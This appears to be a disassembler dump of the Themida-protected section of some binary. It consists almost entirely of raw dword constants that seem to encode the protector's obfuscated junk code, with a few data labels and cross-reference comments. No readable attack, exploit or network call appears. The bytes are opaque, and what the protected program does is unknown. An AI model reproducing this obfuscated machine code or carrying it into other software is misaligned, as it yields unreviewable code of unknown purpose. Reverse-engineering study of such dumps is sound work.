dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0DCD3B3C3h, 8BF88EBAh, 57006AC3h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0EF801AA8h
dd 0B21BD2Bh, 0E8C105E2h, 76BE6604h, 0E2F76613h, 0EB1B523h
dd 0D82B05E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 2C35646h, 0D577E76Ch, 0F9FAB70Fh, 52006A58h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 4148A94Fh, 0BD8BA85Bh, 5E22C05h, 880FD82Bh, 11Bh, 5E8h
dd 59FAE00h, 0BD8BF1D9h, 5E2243Dh, 7B95Eh, 6E90000h, 0AA000000h
dd 0E49B8E58h, 0C183CFh, 4D18D31h, 0D93B05E2h, 0E9860Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0BD4696C3h, 0AD506A61h, 85094515h, 5E20FF1h
dd 60D98C66h, 1ABE980h, 0E20AC1B5h, 6E96105h, 6F000000h
dd 1A71D720h, 4C1F60Fh, 96840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B58B6DC3h
dd 5E20A89h, 2D79B58Bh, 95FF05E2h, 5E21621h, 1A58D89h
dd 815B05E2h, 0FE8AF3CFh, 6AC32B49h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2FA2C355h
dd 0D2808702h, 343D90B1h, 0F000008h, 2B86h, 2CE9FC00h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 351BC351h, 0C4E16D5Fh, 7E474F19h
dd 8166C08Bh, 8BDEAAC7h, 6AD88BC3h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0A1DEC356h
dd 0C56EFF2Eh, 803D51BCh, 2BD5B58Bh, 85C705E2h, 5E20B5Dh
dd 19C1D993h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 40C35646h, 0CF8B6660h, 3D68BE66h, 0E8C08B61h, 0Fh
dd 0B91CDA6Eh, 0FA1377B5h, 0CBCFCF13h, 0FAE1265h, 280h
dd 5F616000h, 2121BD81h, 7D005E2h, 850F0000h, 53h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0C2C35040h, 56F36A82h
dd 8D95894Ah, 0FF05E21Ah, 0E2212185h, 56006A05h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 4170028Eh, 72BF4833h, 0FF6A3AD2h, 0E22121B5h, 8D8B6005h
dd 5E2157Dh, 0A832BF66h, 0B995FF61h, 6A05E20Ah, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 8ECFC355h, 0C6816620h, 6A90B7F3h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 22ECC353h
dd 6AF88B66h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 0FC38C353h, 1E71BD8Bh, 0BF6605E2h
dd 8166C707h, 8193E9D6h, 37A1B5EEh, 0B70F5326h, 95295FFFh
dd 5E221F1h, 6AFB8Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 42DD6DC3h, 41B58B44h, 8B05E215h
dd 0E22679BDh, 0F08B6605h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0D1C35141h, 26BEFFFEh, 8850F9Ah, 50000000h
dd 11858D89h, 6A5E05E2h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0F6D3C355h, 89515C34h
dd 0E20A2D95h, 0FABF5E05h, 0E930D2D8h, 14h, 0F8876A9Eh
dd 0DAC82303h, 0B8A45F76h, 0BD7484DFh, 9665657h, 0FFF729E9h
dd 0F38B66FFh, 0BE9h, 8A71E700h, 90376B74h, 0CF4ABBB8h
dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 958943C3h, 5E20589h, 0BDC9D6BEh, 4EB53h
dd 0E8000000h, 0Ah, 0DDA9AA98h, 8D73EDA6h, 0B531CC79h
dd 5E21411h, 0C5B58B5Eh, 0E805E22Ah, 12h, 0BE252EE7h, 1001368Ch
dd 0ACD05A53h, 23256574h, 14E975CAh, 42000000h, 952D5A2Eh
dd 558C7396h, 79CEBE57h, 558855CFh, 5F9B9C5Bh, 0E91858Dh
dd 81F805E2h, 72F58F6h, 5250901Eh, 0F88B6650h, 5A310F5Fh
dd 7FBE5058h, 90564A50h, 16F5B58Bh, 6A05E2h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6AC35343h, 772FDD28h
dd 8936A40Dh, 8D006AADh, 0E6077185h, 29BD8B05h, 5305E216h
dd 5C0835Eh, 50F7BF0Fh, 830Fh, 4890000h, 1DD78124h, 6A3EACACh
dd 68C0F00h, 23000000h, 0E22619BDh, 3006A05h, 0E2185DBDh
dd 2D95FF05h, 8905E21Eh, 0E2118595h, 809D8D05h, 6A05E59Dh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0D766C355h, 0C0353A7h, 74D781BBh, 8B72E93Bh
dd 0E21C89BDh, 81D3FF05h, 0E6C756C7h, 2985FF0Ah, 6A05E223h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0E32DC356h, 636C9E99h, 60389618h, 61F7B70Fh
dd 871E9h, 0E800h, 815D0000h, 0E6077BEDh, 21BD8905h, 8105E205h
dd 0E22121BDh, 7D005h, 9C860F00h, 8B000001h, 0E21439BDh
dd 0DD9D8B05h, 6A05E21Ch, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 309BC352h, 0E38139h
dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 58D8C351h, 850FDB0Bh, 0C7h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E8C35242h, 8BA1A9E6h
dd 0E20835BDh, 89BF6605h, 0B50B5013h, 5E20B9Dh, 20BD835Fh
dd 5E606h, 28840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 905609C3h, 10E1CC1h
dd 81E9B8h, 85C70000h, 5E60620h, 1, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 0F5C35545h, 5EE56CC8h, 0A5D78166h
dd 4DE9A3h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0CD1107C3h, 8B4F9AD8h, 0E20A19B5h
dd 2FEF8105h, 0C712C868h, 0E6062085h, 5, 11E900h, 0E93B0000h
dd 0F9EA2305h, 5BF2861Ch, 1635E023h, 8D83FE8Dh, 0E21CDD9Dh
dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0E3458F0h, 788B1B09h, 0BD8B3395h, 5E22AB9h
dd 47D8D29h, 238105E2h, 0FFFFFEFFh, 11E8h, 8F48B700h, 0C52CF095h
dd 0B3303502h, 0BE9E5B5Fh, 8A0F3AB7h, 6, 870Fh, 665F0000h
dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 8D0199C3h, 5E21CA5h, 898D8952h, 5E05E21Eh
dd 0F04C3F6h, 7784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 66BCD393h, 470DDF81h
dd 162195FFh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 758173C3h, 89349CE6h, 0E207AD85h
dd 60505005h, 11E8h, 0E754AB00h, 552BB12Fh, 59C8D9Ch, 93BB7F78h
dd 605A9CCCh, 895F6161h, 85892404h, 5E219F9h, 42DE9h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0B7498BAAh, 8B587F5Fh, 0E215E9B5h, 21B58B05h, 0B005E21Dh
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 0EAC50400h, 0E9B53AABh, 0Fh, 132B47F2h
dd 8E98F92Eh, 0E844CCDBh, 0E6F9FA91h, 55006A70h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0E543D388h, 9D89528Bh, 5E22341h, 6A71E4h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 546308C3h
dd 1845A1Fh, 0FF08B66h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 0E7FF7DC3h, 7430A050h
dd 0F943A2D9h, 6BAh, 0A66EBF00h, 0C38B1032h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A6C35242h
dd 0B543232Ch, 75BF4339h, 0C11FD8B1h, 852904E8h, 5E20EA5h
dd 3D8D8B60h, 8905E231h, 0E20825BDh, 0F7666105h, 0CE8E2h
dd 0AECD0000h, 6E7F85C2h, 4467CA45h, 0FE8BEC25h, 81D82B5Eh
dd 1369E0EEh, 66605027h, 0E0BAD08Bh, 614CE46Ch, 6A241C89h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 2736C352h, 0E803F91Bh, 10h, 6DD392EBh, 7146120Dh
dd 2D2B69DBh, 5497CCDCh, 0E4DBD8Bh, 0FF5F05E2h, 0E22121B5h
dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 3B035060h, 6830Fh, 85890000h, 5E219E9h
dd 0AB995FFh, 0B005E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 55C35646h, 2C4B2726h, 0A75B3616h, 0F606057h
dd 9D09DBBFh, 5E20A95h, 79B53161h, 6105E22Dh, 0BD0370E6h
dd 5E20941h, 0F68171E4h, 76AA6C3Fh, 830F613Ch, 212h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 7EC35040h, 11633322h
dd 441FFEF1h, 18D99D31h, 0B60F05E2h, 0FE8B66D8h, 6BAh
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 88D96AF0h, 0CE791F89h, 17C1B50Bh, 0C38B05E2h
dd 32EDBD8Bh, 0E8C105E2h, 0E2F76604h, 13E8h, 8893F700h
dd 666597B3h, 37C6439Eh, 0BBA26105h, 0C68C6E94h, 2BDD8501h
dd 2B5F05E2h, 18B0FD8h, 0F8000000h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0B0F8CE8Fh
dd 8060306Eh, 958B12D8h, 5E20035h, 0B59D8961h, 2B05E21Fh
dd 43880FD8h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 0D227C352h, 9D0983BEh
dd 5E20D95h, 7B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 0B2DC8BCh, 83BB8DD5h
dd 6A00C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 0B58BC0C3h, 5E20BB1h, 2C1D9D89h, 0D93B05E2h
dd 0C4860Fh, 95290000h, 5E22129h, 29D98C66h, 0E216A995h
dd 4C1F605h, 0A6840Fh, 0DE90000h, 0ED000000h, 573E7FD5h
dd 81B1E5A1h, 3BDE090Bh, 162195FFh, 6A05E2h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8B71C3h
dd 5E21D4Dh, 5FBE665Bh, 6AC32B92h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 6A0EC350h
dd 95892D57h, 5E218C9h, 8343Dh, 35860F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 72ACC352h, 0D7E3C36Ah, 0E9FA393Ah, 12h, 68B0Fh, 95290000h
dd 5E2212Dh, 0BF66C08Bh, 0C38BC3C9h, 0EE8D88Bh, 46000000h
dd 6C1F562Eh, 2500D9F2h, 529341D0h, 0F78166E4h, 815EB600h
dd 346544DFh, 0F985C72Bh, 3705E209h, 93E40D5h, 0E2144585h
dd 6AC08B05h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 0BE43C350h, 530143ACh, 63CE8166h
dd 21BD81E5h, 0D005E221h, 0F000007h, 3E85h, 0E4B1BE00h
dd 860F5F3Dh, 6, 811BD03h, 85FF05E2h, 5E22121h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 73C35242h, 0A2F699CBh
dd 9DBD8BCAh, 0FF05E215h, 0E22121B5h, 0B58B5605h, 5E20B75h
dd 21D9BF5Fh, 95FF7359h, 5E20AB9h, 2659BD8Bh, 0E89005E2h
dd 10h, 92CF2037h, 4E1BC64Fh, 6398945Dh, 754F17E4h, 5B9BD8Bh
dd 535E05E2h, 41B529F8h, 5E05E207h, 68C0Fh, 0BD030000h
dd 5E217C1h, 51C68166h, 68F0F0Dh, 81000000h, 14EC0CEEh
dd 51006A71h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 57006A81h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 0E99D8966h, 0BE05E22Bh
dd 0AC46E3Fh, 860F5F51h, 18h, 2D8D0950h, 5F05E222h, 0BED18160h
dd 6614FC97h, 80BFD18Bh, 613B985Eh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 5C35141h, 0BFCDC5F9h, 3EBE85A9h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 81C35747h
dd 43C30A7Fh, 0F2C4C95h, 8D89F3B7h, 5E22335h, 16C1B501h
dd 816605E2h, 0E93D7ADEh, 0FFFFF795h, 22BDB58Bh, 0C18B05E2h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 79C35242h
dd 0DD3B30CDh, 8C565DB0h, 0D6DF8157h, 5E6E1476h, 4EBh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 7636BBC3h, 6AC3A3h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 8D85DBC3h, 0E20E9185h
dd 0BE905h, 0B9550000h, 281B98DCh, 0C641AD04h, 10E89095h
dd 0C9000000h, 0B57F3250h, 669A895Dh, 0E4A52A05h, 66906A21h
dd 5EB60FBEh, 8B666050h, 6A9061DEh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 5A6DC351h
dd 8B27042Ah, 0E22C91BDh, 6A006A05h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 598FC357h
dd 82346C09h, 0E9FE295Ch, 7, 6629F4CFh, 8B29982Ah, 0E22649B5h
dd 0F9006A05h, 1268858Dh, 11E805E6h, 3C000000h, 7AD82DAFh
dd 2730CBBh, 96F13923h, 0E6F70BF7h, 4B63BF66h, 5C0835Eh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 69C35242h
dd 618DCB97h, 0E85DCE9Ah, 12h, 8E71C3C0h, 2E9ECBB2h, 2AE61B9Eh
dd 0EECDF718h, 830F14D9h, 6, 8E0Fh, 505F0000h, 0F18B5250h
dd 4895E5Fh, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 0B06DFC88h, 270F81CDh, 0DF81F8AAh
dd 11D3B927h, 0B25B533h, 6A05E2h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 44C35646h, 0D7C37E2Bh, 3438351Ah
dd 0CE92Eh, 54080000h, 0B9F04862h, 56E72521h, 6A8376h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0E5C35747h
dd 96550573h, 89D41733h, 0E21C75BDh, 2D95FF05h, 0F05E21Eh
dd 48Fh, 18BF6600h, 809D8D8Eh, 6A05E59Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2B0BC355h
dd 0C2CEB977h, 8957A365h, 0E21A61B5h, 0D3FF5F05h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 2DC35747h, 14FDF02Ch
dd 0FFFEF42Eh, 0E2232985h, 0E9F88B05h, 863h
dword_52EF24 dd 0E8h, 0ED815D00h, 5E61272h, 0E851006Ah, 3, 59C35920h
; DATA XREF: Themida_:004EF718o
dd 4244C89h, 4244481h, 14h, 0AFC35141h, 8DCF8166h, 21BD81ACh
dd 0D005E221h, 0F000007h, 18A86h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 95A8252h, 0BD0B29EFh
dd 5E21889h, 0DD9D8Bh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 0CF4535C3h, 71E796E1h
dd 0E3818Ah, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 0CE52C355h, 3261BD09h
dd 13E905E2h, 0D1000000h, 0AD4D6739h, 55DEDB30h, 2220B451h
dd 94F822B5h, 0DB0B4CF5h, 0A2850Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E8642DC3h
dd 14h, 38574F29h, 3B5112A6h, 0BC50F30Ch, 5AD161B2h, 0A161E206h
dd 17BD835Fh, 5E610h, 31840Fh, 870F0000h, 1, 67E9F9h, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 21556EC3h, 0B5B531A9h, 0C705E219h, 0E6101785h, 105h
dd 33E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0C2B5C2C3h, 101785C7h, 5E6h, 5ABF0000h
dd 89138106h, 0E213998Dh, 0DD9D8D05h, 6A05E200h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0A636C357h, 0D14C56BFh, 81B58B55h, 8105E20Fh, 0FFFEFF23h
dd 49B589FFh, 6605E207h, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 8B1488C3h, 0FCE1F583h
dd 90DBD89h, 0C3F605E2h, 19840F04h, 0BE000000h, 6D742B5h
dd 95FFFE8Bh, 5E21621h, 57E1D681h, 89502F90h, 0F28B2404h
dd 438E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 7C09C9E2h, 664A89ADh, 0E52DEF81h
dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 70E608C3h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 0EEC35040h, 0B77CEBEDh, 1B50338h, 0F05E21Eh
dd 8Ah, 8B71E400h, 0E203FDB5h, 0D8B60F05h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 28C35141h, 0F2717ECh
dd 68Dh, 4DBD8B00h, 0BA05E206h, 6, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 0A4C35343h, 39AF9DBFh, 0C1C38B3Eh
dd 8B6604E8h, 0E2F766F7h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0F0C35141h, 5730D942h, 0ED9D8933h, 8105E21Dh
dd 0C64E8ACFh, 9D82B79h, 0E21775B5h, 1C895005h, 0B8E0F24h
dd 0E9000000h, 6, 61B8C65Ah, 0B5FFF95Fh, 5E22121h, 9DBD8B51h
dd 5F05E22Fh, 0AB995FFh, 8B6605E2h, 6A00B0F8h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 892CC353h, 0E2155D85h, 0E470E605h, 51006A71h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0B2E6F37Ah, 16280DD3h, 0F613C3Ah, 2A883h, 39850100h
dd 0F05E219h, 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 3BD501C3h, 0BAF88B40h, 6, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 10C35343h, 0E3781947h
dd 8BBB3D3Ah, 0FF78BC3h, 0F8Bh, 0AE900h, 0D7CA0000h, 0E07A47DBh
dd 0C10AF522h, 2304E8C1h, 0E22B79B5h, 0E2F76605h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B1C35242h, 8F8D6116h
dd 0C6813B00h, 1E0BB3C6h, 0BD29D82Bh, 5E20519h, 0C8B0Fh
dd 8F0F0000h, 6, 23099589h, 6A5805E2h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BDF0C351h
dd 24C466FBh, 6E9DCh, 2DE30000h, 4EF3C284h, 1B45BD29h
dd 0D82B05E2h, 1B3880Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 66F8ACC3h, 0B92233BEh
dd 7, 1C47CCBEh, 0C18355h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 0DDC35141h, 0F4511591h, 810F82DBh, 3
dd 3BFB8B66h, 52860FD9h, 31000001h, 0E211A595h, 71958905h
dd 6605E208h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 78A008C3h, 6840FD0h, 8B000000h
dd 0E20E29BDh, 8E905h, 0FAEB0000h, 2D3D8CBBh, 0C1F64B6Eh
dd 0BC840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 6900C357h, 34365992h
dd 0B58BF31Ch, 5E21739h, 162195FFh, 6A05E2h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 0EBEFDBC3h
dd 89649CF6h, 0E214B5B5h, 9E95B05h, 7B000000h, 3A1CED59h
dd 0A0096590h, 6AC32Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0CDBBC1C3h, 99FE63EAh, 8343DE3h
dd 860F0000h, 27h, 68E9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0B9952937h
dd 8B05E20Eh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 0F5B0F85h, 2084h, 0BE800h, 0A0530000h
dd 50CE17DDh, 0F8C0DCC1h, 9E822h, 82B10000h, 0AE4D6EB7h
dd 5EAEB742h, 8BC38B5Fh, 0E59501D8h, 0C705E222h, 0E21CDD85h
dd 7EB5BF05h, 57006A3Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 45EC668h, 0B7B2420Bh, 0DE89Eh, 64B70000h
dd 0A9E4ADB9h, 0D9F02847h, 602FB436h, 0CE9h, 7AFED200h
dd 0FF968961h, 0F4E2CBC6h, 0CAB70FD2h, 0C08B5F61h, 14958D89h
dd 0BD8105E2h, 5E22121h, 7D0h, 3A850Fh, 0B70F0000h, 519D09F1h
dd 0FF05E221h, 0E2212185h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 1B5B0AE7h
dd 1A01BD8Bh, 0BD8B05E2h, 5E20C2Dh, 2121B5FFh, 6A05E2h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0BF662FC3h, 95FFE54Fh, 5E20AB9h, 0DE8h, 0F415B200h
dd 827294FFh, 0EDC2063Ah, 0BD23DE17h, 5E20785h, 0E8FC905Fh
dd 8, 5B75743Ch, 5CEFF6FCh, 5FF7BF0Fh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 56C35141h, 0F41DB1A9h, 95315E67h
dd 5E21DC5h, 765BD8Bh, 14E905E2h, 22000000h, 14ADA95Ah
dd 176EA19Eh, 507A1729h, 3FA587DDh, 816C8F29h, 0CFF4BDC7h
dd 52006A0Ch, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 0D7813F92h, 0F328E90h, 2115BD2Bh, 0DE905E2h
dd 5F000000h, 0D25C5D06h, 4C109415h, 3EEE9859h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6CC35747h
dd 2A1658A2h, 0E8B17468h, 0Ch, 0A6D9C003h, 31F21421h, 9A29E047h
dd 2B75BD8Bh, 81BF05E2h, 5F4EC6D1h, 3341B9BFh, 0F78B660Ah
dd 64DBD8Bh, 0BF6605E2h, 6ADF15h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 66DFCAC3h, 0DCF81A30h
dd 0F7A2E929h, 0CDBFFFFFh, 8B6FD0E9h, 51006AC1h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 8B66C3E5h, 4EBF2h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0F726C357h, 0EE9h
dd 1E754900h, 274B6002h, 587A4F16h, 0FA17A3Eh, 89F5F6B7h
dd 0E2008D8Dh, 91858D05h, 6A05E20Eh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BB0C350h
dd 0E21FD5BDh, 61858905h, 0E905E21Eh, 7, 0B4D94EDFh, 505DF728h
dd 0DE8h, 29544500h, 0BF2A7706h, 0D81A1012h, 0CE91811h
dd 0F1000000h, 0BA1877D4h, 139C53D2h, 5F73A089h, 9240489h
dd 0E20CF19Dh, 6A006A05h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 273BC356h, 6A13A3C6h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 8DCFA161h, 5599F81Dh, 0E858D32h, 6A05E61Dh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 6E00C351h, 66568840h, 8381EFBFh, 6A05C0h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 60A187C3h, 0FFA8B66h, 9061D0BFh, 0BE8h, 0FA4E6E00h
dd 0FBC2BC00h, 0EDDF979Dh, 8B66505Eh, 0F78B90FEh, 9E9006Ah
dd 0D6000000h, 54A4914h, 697E11C6h, 0F88B006Ah, 1E2D95FFh
dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0FCCA38C3h, 4840FD7h, 66000000h, 0FCE49BEh
dd 8Ch, 809D8D00h, 8905E59Dh, 0E22139BDh, 6AD3FF05h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 6AFCC356h, 5EAF97ADh, 232985FFh, 6A05E2h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 41107FC3h
dd 4605CAD3h, 14E862h, 5E510000h, 0FB3A89BDh, 66957DD5h
dd 54E5C24Eh, 6FA76389h, 0BD33AE56h, 5E218E9h, 89EE95Eh
db 2 dup(0)
word_52F9CA dw 0E8h ; DATA XREF: Themida_:004EFDF0o
dd 5D000000h, 1D18ED81h, 6A05E6h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 7EE54CC3h, 0B87382D5h
dd 840FBD04h, 9, 66616060h, 9086F781h, 21BD8161h, 0D005E221h
dd 0F000007h, 16486h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 0C30B13B6h, 35CEA2D2h
dd 0AE9F094h, 0AC000000h, 0E7D30C1Bh, 0FDCA9BE4h, 559D8B76h
dd 6A05E215h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 6461C356h, 0FE8h, 0EC6C0100h
dd 448AE17Bh, 4DDE831Eh, 38202A1Eh, 0FE9h, 6CF84A00h, 0A464B4F5h
dd 862942Fh, 751E1ED9h, 0E3815Eh, 57000001h, 0FDB0B5Fh
dd 8F85h, 0F6B70F00h, 1AF4BD83h, 0F0005E6h, 2E84h, 0A7E900h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 9141DEC3h, 40424191h, 66F78E9Ch, 0C7C7B5BFh
dd 0E61AF485h, 105h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 3C326768h, 11FB06A5h
dd 8E8AB59h, 9E000000h, 8FC37696h, 600E96E6h, 0BE4BC681h
dd 8B6630BAh, 0E95E61C2h, 31h, 35EFBF66h, 1AF485C7h, 5E6h
